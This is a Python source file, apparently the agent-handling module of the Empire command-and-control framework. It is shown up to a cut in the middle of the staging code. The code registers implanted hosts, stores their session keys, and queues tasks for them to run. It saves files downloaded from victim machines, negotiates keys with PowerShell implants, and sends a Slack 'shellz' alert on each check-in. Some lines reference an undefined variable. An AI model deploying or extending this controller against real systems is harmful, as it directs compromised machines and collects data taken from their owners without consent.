"""

Main agent handling functionality for Empire.

The Agents() class in instantiated in ./empire.py by the main menu and includes:

    get_db_connection()         - returns the empire.py:mainMenu database connection object
    is_agent_present()          - returns True if an agent is present in the self.agents cache
    add_agent()                 - adds an agent to the self.agents cache and the backend database
    remove_agent_db()           - removes an agent from the self.agents cache and the backend database
    is_ip_allowed()             - checks if a supplied IP is allowed as per the whitelist/blacklist
    save_file()                 - saves a file download for an agent to the appropriately constructed path.
    save_module_file()          - saves a module output file to the appropriate path
    save_agent_log()            - saves the agent console output to the agent's log file
    is_agent_elevated()         - checks whether a specific sessionID is currently elevated
    get_agents_db()             - returns all active agents from the database
    get_agent_names_db()        - returns all names of active agents from the database
    get_agent_ids_db()          - returns all IDs of active agents from the database
    get_agent_db()              - returns complete information for the specified agent from the database
    get_agent_nonce_db()        - returns the nonce for this sessionID
    get_language_db()           - returns the language used by this agent
    get_language_version_db()   - returns the language version used by this agent
    get_agent_session_key_db()  - returns the AES session key from the database for a sessionID
    get_agent_results_db()      - returns agent results from the backend database
    get_agent_id_db()           - returns an agent sessionID based on the name
    get_agent_name_db()         - returns an agent name based on sessionID
    get_agent_hostname_db()     - returns an agent's hostname based on sessionID
    get_agent_os_db()           - returns an agent's operating system details based on sessionID
    get_agent_functions()       - returns the tab-completable functions for an agent from the cache
    get_agent_functions_db()    - returns the tab-completable functions for an agent from the database
    get_agents_for_listener()   - returns all agent objects linked to a given listener name
    get_agent_names_listener_db()-returns all agent names linked to a given listener name
    get_autoruns_db()           - returns any global script autoruns
    update_agent_results_db()   - updates agent results in the database
    update_agent_sysinfo_db()   - updates agent system information in the database
    update_agent_lastseen_db()  - updates the agent's last seen timestamp in the database
    update_agent_listener_db()  - updates the agent's listener name in the database
    rename_agent()              - renames an agent
    set_agent_field_db()        - sets field:value for a particular sessionID in the database.
    set_agent_functions_db()    - sets the tab-completable functions for the agent in the database
    set_autoruns_db()           - sets the global script autorun in the config in the database
    clear_autoruns_db()         - clears the currently set global script autoruns in the config in the database
    add_agent_task_db()         - adds a task to the specified agent's buffer in the database
    get_agent_tasks_db()        - retrieves tasks for our agent from the database
    get_agent_tasks_listener_db()- retrieves tasks for our agent from the database keyed by listener name
    clear_agent_tasks_db()      - clear out one (or all) agent tasks in the database
    handle_agent_staging()      - handles agent staging neogotiation
    handle_agent_data()         - takes raw agent data and processes it appropriately.
    handle_agent_request()      - return any encrypted tasks for the particular agent
    handle_agent_response()     - parses agent raw replies into structures
    process_agent_packet()      - processes agent reply structures appropriately

handle_agent_data() is the main function that should be used by external listener modules

Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners.

"""
# -*- encoding: utf-8 -*-
import socket
import os
import json
import string
import threading
from pydispatch import dispatcher
from zlib_wrapper import compress
from zlib_wrapper import decompress

# Empire imports
import encryption
import helpers
import packets
import messages
import socket


class Agents:
    """
    Main class that contains agent handling functionality, including key
    negotiation in process_get() and process_post().
    """
    def __init__(self, MainMenu, args=None):

        # pull out the controller objects
        self.mainMenu = MainMenu
        self.installPath = self.mainMenu.installPath
        self.args = args

        # internal agent dictionary for the client's session key, funcions, and URI sets
        #   this is done to prevent database reads for extremely common tasks (like checking tasking URI existence)
        #   self.agents[sessionID] = {  'sessionKey' : clientSessionKey,
        #                               'functions' : [tab-completable function names for a script-import]
        #                            }
        self.agents = {}

        # used to protect self.agents and self.mainMenu.conn during threaded listener access
        self.lock = threading.Lock()

        # reinitialize any agents that already exist in the database
        dbAgents = self.get_agents_db()
        for agent in dbAgents:
            agentInfo = {'sessionKey' : agent['session_key'], 'functions' : agent['functions']}
            self.agents[agent['session_id']] = agentInfo

        # pull out common configs from the main menu object in empire.py
        self.ipWhiteList = self.mainMenu.ipWhiteList
        self.ipBlackList = self.mainMenu.ipBlackList


    def get_db_connection(self):
        """
        Returns the 
        """
        self.lock.acquire()
        self.mainMenu.conn.row_factory = None
        self.lock.release()
        return self.mainMenu.conn


    ###############################################################
    #
    # Misc agent methods
    #
    ###############################################################
    
    def is_agent_present(self, sessionID):
        """
        Checks if a given sessionID corresponds to an active agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid
        
        return sessionID in self.agents


    def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit, sessionKey=None, nonce='', listener='', language=''):
        """
        Add an agent to the internal cache and database.
        """

        currentTime = helpers.get_datetime()
        checkinTime = currentTime
        lastSeenTime = currentTime

        # generate a new key for this agent if one wasn't supplied
        if not sessionKey:
            sessionKey = encryption.generate_aes_key()

        if not profile or profile == '':
            profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"

        conn = self.get_db_connection()

        try:
            self.lock.acquire()
            cur = conn.cursor()
            # add the agent and report the initial checkin in the reporting database
            cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language))
            cur.execute("INSERT INTO reporting (name, event_type, message, time_stamp) VALUES (?,?,?,?)", (sessionID, "checkin", checkinTime, helpers.get_datetime()))
            cur.close()

            # initialize the tasking/result buffers along with the client session key
            self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []}
        finally:
            self.lock.release()


    def remove_agent_db(self, sessionID):
        """
        Remove an agent to the internal cache and database.
        """

        conn = self.get_db_connection()

        try:
            if sessionID == '%' or sessionID.lower() == 'all':
                sessionID = '%'
                self.lock.acquire()
                self.agents = {}
            else:
                # see if we were passed a name instead of an ID
                nameid = self.get_agent_id_db(sessionID)
                if nameid:
                    sessionID = nameid

                self.lock.acquire()
                # remove the agent from the internal cache
                self.agents.pop(sessionID, None)

            # remove the agent from the database
            cur = conn.cursor()
            cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
            cur.close()
        finally:
            self.lock.release()


    def is_ip_allowed(self, ip_address):
        """
        Check if the ip_address meshes with the whitelist/blacklist, if set.
        """

        self.lock.acquire()
        if self.ipBlackList:
            if self.ipWhiteList:
                results = ip_address in self.ipWhiteList and ip_address not in self.ipBlackList
                self.lock.release()
                return results
            else:
                results = ip_address not in self.ipBlackList
                self.lock.release()
                return results
        if self.ipWhiteList:
            results = ip_address in self.ipWhiteList
            self.lock.release()
            return results
        else:
            self.lock.release()
            return True


    def save_file(self, sessionID, path, data, append=False):
        """
        Save a file download for an agent to the appropriately constructed path.
        """

        sessionID = self.get_agent_name_db(sessionID)
        lang = self.get_language_db(sessionID)
        parts = path.split("\\")
        parts

        # construct the appropriate save path
        save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
        filename = os.path.basename(parts[-1])

        try:
            self.lock.acquire()
            # fix for 'skywalker' exploit by @zeroSteiner
            safePath = os.path.abspath("%sdownloads/" % self.installPath)
            if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
                dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender='Agents')
                dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender='Agents')
                return

            # make the recursive directory structure if it doesn't already exist
            if not os.path.exists(save_path):
                os.makedirs(save_path)

            # overwrite an existing file
            if not append:
                f = open("%s/%s" % (save_path, filename), 'wb')
            else:
                # otherwise append
                f = open("%s/%s" % (save_path, filename), 'ab')
                
            if "python" in lang:
                print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
                d = decompress.decompress()
                dec_data = d.dec_data(data)
                print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
                if not dec_data['crc32_check']:
                    dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
                    print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
                    dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
                    print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
                data = dec_data['data']

            f.write(data)
            f.close()
        finally:
            self.lock.release()

        # notify everyone that the file was downloaded
        dispatcher.send("[+] Part of file %s from %s saved" % (filename, sessionID), sender='Agents')


    def save_module_file(self, sessionID, path, data):
        """
        Save a module output file to the appropriate path.
        """

        sessionID = self.get_agent_name_db(sessionID)
        lang = self.get_language_db(sessionID)
        parts = path.split("/")

        # construct the appropriate save path
        save_path = "%s/downloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
        filename = parts[-1]

        # decompress data if coming from a python agent:
        if "python" in lang:
            print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
            d = decompress.decompress()
            dec_data = d.dec_data(data)
            print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
            if not dec_data['crc32_check']:
                dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
                print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
                dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
                print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
            data = dec_data['data']

        try:
            self.lock.acquire()
            # fix for 'skywalker' exploit by @zeroSteiner
            safePath = os.path.abspath("%s/downloads/" % self.installPath)
            if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
                dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender='Agents')
                dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender='Agents')
                return

            # make the recursive directory structure if it doesn't already exist
            if not os.path.exists(save_path):
                os.makedirs(save_path)

            # save the file out
            f = open(save_path + "/" + filename, 'w')
            f.write(data)
            f.close()
        finally:
            self.lock.release()

        # notify everyone that the file was downloaded
        # dispatcher.send("[+] File "+path+" from "+str(sessionID)+" saved", sender='Agents')
        dispatcher.send("[+] File %s from %s saved" % (path, sessionID), sender='Agents')

        return "/downloads/%s/%s/%s" % (sessionID, "/".join(parts[0:-1]), filename)


    def save_agent_log(self, sessionID, data):
        """
        Save the agent console output to the agent's log file.
        """

        name = self.get_agent_name_db(sessionID)
        save_path = self.installPath + "/downloads/" + str(name) + "/"

        try:
            self.lock.acquire()
            # make the recursive directory structure if it doesn't already exist
            if not os.path.exists(save_path):
                os.makedirs(save_path)

            current_time = helpers.get_datetime()

            f = open("%s/agent.log" % (save_path), 'a')
            f.write("\n" + current_time + " : " + "\n")
            f.write(data + "\n")
            f.close()
        finally:
            self.lock.release()


    ###############################################################
    #
    # Methods to get information from agent fields.
    #
    ###############################################################

    def is_agent_elevated(self, sessionID):
        """
        Check whether a specific sessionID is currently elevated.

        This means root for OS X/Linux and high integrity for Windows.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid
        
        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT high_integrity FROM agents WHERE session_id=?", [sessionID])
            elevated = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if elevated and elevated != None and elevated != ():
            return int(elevated[0]) == 1
        else:
            return False


    def get_agents_db(self):
        """
        Return all active agents from the database.
        """
        conn = self.get_db_connection()
        results = None
        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT * FROM agents")
            results = cur.fetchall()
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return results


    def get_agent_names_db(self):
        """
        Return all names of active agents from the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT name FROM agents")
            results = cur.fetchall()
            cur.close()
        finally:
            self.lock.release()

        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results


    def get_agent_ids_db(self):
        """
        Return all IDs of active agents from the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_id FROM agents")
            results = cur.fetchall()
            cur.close()
        finally:
            self.lock.release()

        # make sure names all ascii encoded
        results = [str(r[0]).encode('ascii', 'ignore') for r in results if r]
        return results


    def get_agent_db(self, sessionID):
        """
        Return complete information for the specified agent from the database.
        """

        conn = self.get_db_connection()

        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT * FROM agents WHERE session_id = ? OR name = ?", [sessionID, sessionID])
            agent = cur.fetchone()
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return agent


    def get_agent_nonce_db(self, sessionID):
        """
        Return the nonce for this sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT nonce FROM agents WHERE session_id=?", [sessionID])
            nonce = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if nonce and nonce is not None:
            if type(nonce) is str:
                return nonce
            else:
                return nonce[0]


    def get_language_db(self, sessionID):
        """
        Return the language used by this agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT language FROM agents WHERE session_id=?", [sessionID])
            language = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if language is not None:
            if isinstance(language, str):
                return language
            else:
                return language[0]


    def get_language_version_db(self, sessionID):
        """
        Return the language version used by this agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT language_version FROM agents WHERE session_id=?", [sessionID])
            language = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if language is not None:
            if isinstance(language, str):
                return language
            else:
                return language[0]


    def get_agent_session_key_db(self, sessionID):
        """
        Return AES session key from the database for this sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_key FROM agents WHERE session_id = ? OR name = ?", [sessionID, sessionID])
            sessionKey = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if sessionKey is not None:
            if isinstance(sessionKey, str):
                return sessionKey
            else:
                return sessionKey[0]


    def get_agent_results_db(self, sessionID):
        """
        Return agent results from the backend database.
        """

        agent_name = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." % (agent_name))
        else:
            conn = self.get_db_connection()
            try:
                self.lock.acquire()
                cur = conn.cursor()
                cur.execute("SELECT results FROM agents WHERE session_id=?", [sessionID])
                results = cur.fetchone()

                cur.execute("UPDATE agents SET results=? WHERE session_id=?", ['', sessionID])
                cur.close()
            finally:
                self.lock.release()

            if results and results[0] and results[0] != '':
                out = json.loads(results[0])
                if out:
                    return "\n".join(out)
            else:
                return ''


    def get_agent_id_db(self, name):
        """
        Get an agent sessionID based on the name.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_id FROM agents WHERE name=?", [name])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()
        if results:
            return results[0]
        else:
            return None


    def get_agent_name_db(self, sessionID):
        """
        Return an agent name based on sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT name FROM agents WHERE session_id = ? or name = ?", [sessionID, sessionID])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if results:
            return results[0]
        else:
            return None


    def get_agent_hostname_db(self, sessionID):
        """
        Return an agent's hostname based on sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT hostname FROM agents WHERE session_id=? or name=?", [sessionID, sessionID])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if results:
            return results[0]
        else:
            return None


    def get_agent_os_db(self, sessionID):
        """
        Return an agent's operating system details based on sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT os_details FROM agents WHERE session_id=? or name=?", [sessionID, sessionID])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if results:
            return results[0]
        else:
            return None


    def get_agent_functions(self, sessionID):
        """
        Get the tab-completable functions for an agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        results = []

        try:
            self.lock.acquire()
            if sessionID in self.agents:
                results = self.agents[sessionID]['functions']
        finally:
            self.lock.release()

        return results


    def get_agent_functions_db(self, sessionID):
        """
        Return the tab-completable functions for an agent from the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT functions FROM agents WHERE session_id=? OR name=?", [sessionID, sessionID])
            functions = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if functions is not None and functions[0] is not None:
            return functions[0].split(',')
        else:
            return []


    def get_agents_for_listener(self, listenerName):
        """
        Return agent objects linked to a given listener name.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_id FROM agents WHERE listener=?", [listenerName])
            results = cur.fetchall()
            cur.close()
        finally:
            self.lock.release()

        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results


    def get_agent_names_listener_db(self, listenerName):
        """
        Return agent names linked to the given listener name.
        """

        conn = self.get_db_connection()

        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT * FROM agents WHERE listener=?", [listenerName])
            agents = cur.fetchall()
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return agents


    def get_autoruns_db(self):
        """
        Return any global script autoruns.
        """

        conn = self.get_db_connection()

        autoruns = None

        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT autorun_command FROM config")
            results = cur.fetchone()
            if results:
                autorun_command = results[0]
            else:
                autorun_command = ''

            cur = conn.cursor()
            cur.execute("SELECT autorun_data FROM config")
            results = cur.fetchone()
            if results:
                autorun_data = results[0]
            else:
                autorun_data = ''
            cur.close()
            autoruns = [autorun_command, autorun_data]
        finally:
            self.lock.release()

        return autoruns


    ###############################################################
    #
    # Methods to update agent information fields.
    #
    ###############################################################

    def update_agent_results_db(self, sessionID, results):
        """
        Update agent results in the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID in self.agents:
            conn = self.get_db_connection()
            try:
                self.lock.acquire()
                cur = conn.cursor()

                # get existing agent results
                cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID])
                agent_results = cur.fetchone()

                if agent_results and agent_results[0]:
                    agent_results = json.loads(agent_results[0])
                else:
                    agent_results = []

                agent_results.append(results)
                cur.execute("UPDATE agents SET results=? WHERE session_id=?", [json.dumps(agent_results), sessionID])
                cur.close()
            finally:
                self.lock.release()
        else:
            dispatcher.send("[!] Non-existent agent %s returned results" % (sessionID), sender='Agents')


    def update_agent_sysinfo_db(self, sessionID, listener='', external_ip='', internal_ip='', username='', hostname='', os_details='', high_integrity=0, process_name='', process_id='', language_version='', language=''):
        """
        Update an agent's system information.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET internal_ip = ?, username = ?, hostname = ?, os_details = ?, high_integrity = ?, process_name = ?, process_id = ?, language_version = ?, language = ? WHERE session_id=?", [internal_ip, username, hostname, os_details, high_integrity, process_name, process_id, language_version, language, sessionID])
            cur.close()
        finally:
            self.lock.release()


    def update_agent_lastseen_db(self, sessionID):
        """
        Update the agent's last seen timestamp in the database.
        """

        h = socket.gethostname()
        slackText = "%s empire agent %s checked in" % (h, sessionID)
        helpers.slackMessage("","shellz",slackText)

        current_time = helpers.get_datetime()
        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET lastseen_time=? WHERE session_id=? OR name=?", [current_time, sessionID, sessionID])
            cur.close()
        finally:
            self.lock.release()


    def update_agent_listener_db(self, sessionID, listenerName):
        """
        Update the specified agent's linked listener name in the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET listener=? WHERE session_id=? OR name=?", [listenerName, sessionID, sessionID])
            cur.close()
        finally:
            self.lock.release()


    def rename_agent(self, oldname, newname):
        """
        Rename a given agent from 'oldname' to 'newname'.
        """

        if not newname.isalnum():
            print helpers.color("[!] Only alphanumeric characters allowed for names.")
            return False

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            # rename the logging/downloads folder
            oldPath = "%s/downloads/%s/" % (self.installPath, oldname)
            newPath = "%s/downloads/%s/" % (self.installPath, newname)
            retVal = True

            # check if the folder is already used
            if os.path.exists(newPath):
                print helpers.color("[!] Name already used by current or past agent.")
                retVal = False
            else:
                # move the old folder path to the new one
                if os.path.exists(oldPath):
                    os.rename(oldPath, newPath)

                # rename the agent in the database
                cur = conn.cursor()
                cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
                cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (oldname, "rename", newname, helpers.get_datetime()))
                cur.close()

                retVal = True
        finally:
            self.lock.release()

        # signal in the log that we've renamed the agent
        self.save_agent_log(oldname, "[*] Agent renamed from %s to %s" % (oldname, newname))

        return retVal

    def set_agent_field_db(self, field, value, sessionID):
        """
        Set field:value for a particular sessionID in the database.
        """

        conn = self.get_db_connection()
        cur = conn.cursor()
        cur.execute("UPDATE agents SET " + str(field) + "=? WHERE session_id=? OR name=?", [value, sessionID, sessionID])
        cur.close()


    def set_agent_functions_db(self, sessionID, functions):
        """
        Set the tab-completable functions for the agent in the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID in self.agents:
            self.agents[sessionID]['functions'] = functions

        functions = ','.join(functions)

        conn = self.get_db_connection()
        cur = conn.cursor()
        cur.execute("UPDATE agents SET functions=? WHERE session_id=?", [functions, sessionID])
        cur.close()


    def set_autoruns_db(self, taskCommand, moduleData):
        """
        Set the global script autorun in the config in the database.
        """

        try:
            conn = self.get_db_connection()
            cur = conn.cursor()
            cur.execute("UPDATE config SET autorun_command=?", [taskCommand])
            cur.execute("UPDATE config SET autorun_data=?", [moduleData])
            cur.close()
        except Exception:
            print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
            print helpers.color("[!] Warning: this will reset ALL agent connections!")


    def clear_autoruns_db(self):
        """
        Clear the currently set global script autoruns in the config in the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE config SET autorun_command=''")
            cur.execute("UPDATE config SET autorun_data=''")
            cur.close()
        finally:
            self.lock.release()


    ###############################################################
    #
    # Agent tasking methods
    #
    ###############################################################

    def add_agent_task_db(self, sessionID, taskName, task=''):
        """
        Add a task to the specified agent's buffer in the database.
        """

        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." % (agentName))
        else:
            if sessionID:

                dispatcher.send("[*] Tasked %s to run %s" % (sessionID, taskName), sender='Agents')

                conn = self.get_db_connection()
                try:
                    self.lock.acquire()
                    # get existing agent taskings
                    cur = conn.cursor()
                    cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
                    agent_tasks = cur.fetchone()

                    if agent_tasks and agent_tasks[0]:
                        agent_tasks = json.loads(agent_tasks[0])
                    else:
                        agent_tasks = []
                    
                    pk = cur.execute("SELECT max(id) from taskings where agent=?", [sessionID]).fetchone()[0]
                    if pk is None:
                        pk = 0
                    pk = (pk + 1) % 65536
                    cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]])

                    # append our new json-ified task and update the backend
                    agent_tasks.append([taskName, task, pk])
                    cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])

                    # report the agent tasking in the reporting database
                    cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk))

                    cur.close()

                    # write out the last tasked script to "LastTask" if in debug mode
                    if self.args and self.args.debug:
                        f = open('%s/LastTask' % (self.installPath), 'w')
                        f.write(task)
                        f.close()
                    
                    return pk

                finally:
                    self.lock.release()


    def get_agent_tasks_db(self, sessionID):
        """
        Retrieve tasks for our agent from the database.
        """

        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." % (agentName))
            return []
        else:
            conn = self.get_db_connection()
            try:
                self.lock.acquire()
                cur = conn.cursor()
                cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
                tasks = cur.fetchone()

                if tasks and tasks[0]:
                    tasks = json.loads(tasks[0])
                    # clear the taskings out
                    cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', sessionID])
                else:
                    tasks = []

                cur.close()
            finally:
                self.lock.release()

            return tasks


    def get_agent_tasks_listener_db(self, listenerName):
        """
        Retrieve tasks for our agent from the database keyed by the
        supplied listner name.

        returns a list of (sessionID, taskings) tuples
        """

        conn = self.get_db_connection()
        results = []

        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT session_id,listener,taskings FROM agents WHERE listener=? AND taskings IS NOT NULL", [listenerName])
            agents = cur.fetchall()

            for agent in agents:
                # print agent
                if agent['taskings']:
                    tasks = json.loads(agent['taskings'])
                    # clear the taskings out
                    cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', agent['session_id']])
                    results.append((agent['session_id'], tasks))
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return results


    def clear_agent_tasks_db(self, sessionID):
        """
        Clear out one (or all) agent tasks in the database.
        """

        if sessionID.lower() == "all":
            sessionID = '%'

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET taskings=? WHERE session_id LIKE ? OR name LIKE ?", ['', sessionID, sessionID])
            cur.close()
        finally:
            self.lock.release()


    ###############################################################
    #
    # Agent staging/data processing components
    #
    ###############################################################

    def handle_agent_staging(self, sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP='0.0.0.0'):
        """
        Handles agent staging/key-negotiation.

        TODO: does this function need self.lock?
        """

        listenerName = listenerOptions['Name']['Value']

        if meta == 'STAGE0':
            # step 1 of negotiation -> client requests staging code
            return 'STAGE0'

        elif meta == 'STAGE1':
            # step 3 of negotiation -> client posts public key
            dispatcher.send("[*] Agent %s from %s posted public key" % (sessionID, clientIP), sender='Agents')

            # decrypt the agent's public key
            try:
                message = encryption.aes_decrypt_and_verify(stagingKey, encData)
            except Exception as e:
                print 'exception e:' + str(e)
                # if we have an error during decryption
                dispatcher.send("[!] HMAC verification failed from '%s'" % (sessionID), sender='Agents')
                return 'ERROR: HMAC verification failed'

            if language.lower() == 'powershell':
                # strip non-printable characters
                message = ''.join(filter(lambda x: x in string.printable, message))

                # client posts RSA key
                if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
                    dispatcher.send("[!] Invalid PowerShell key post format from %s" % (sessionID), sender='Agents')
                    return 'ERROR: Invalid PowerShell key post format'
                else:
                    # convert the RSA key from the stupid PowerShell export format
                    rsaKey = encryption.rsa_xml_to_key(message)

                    if rsaKey:
                        dispatcher.send("[*] Agent %s from %s posted valid PowerShell RSA key" % (sessionID, clientIP), sender='Agents')

                        nonce = helpers.random_string(16, charset=string.digits)
                        delay = listenerOptions['DefaultDelay']['Value']
                        jitter = listenerOptions['DefaultJitter']['Value']
                        profile = listenerOptions['DefaultProfile']['Value']
                        killDate = listenerOptions['KillDate']['Value']
                        workingHours = listenerOptions['WorkingHours']['Value']
                        lostLimit = listenerOptions['DefaultLostLimit']['Value']

                        # add the agent to the database now that it's "checked in"
                        self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce=nonce, listener=listenerName)

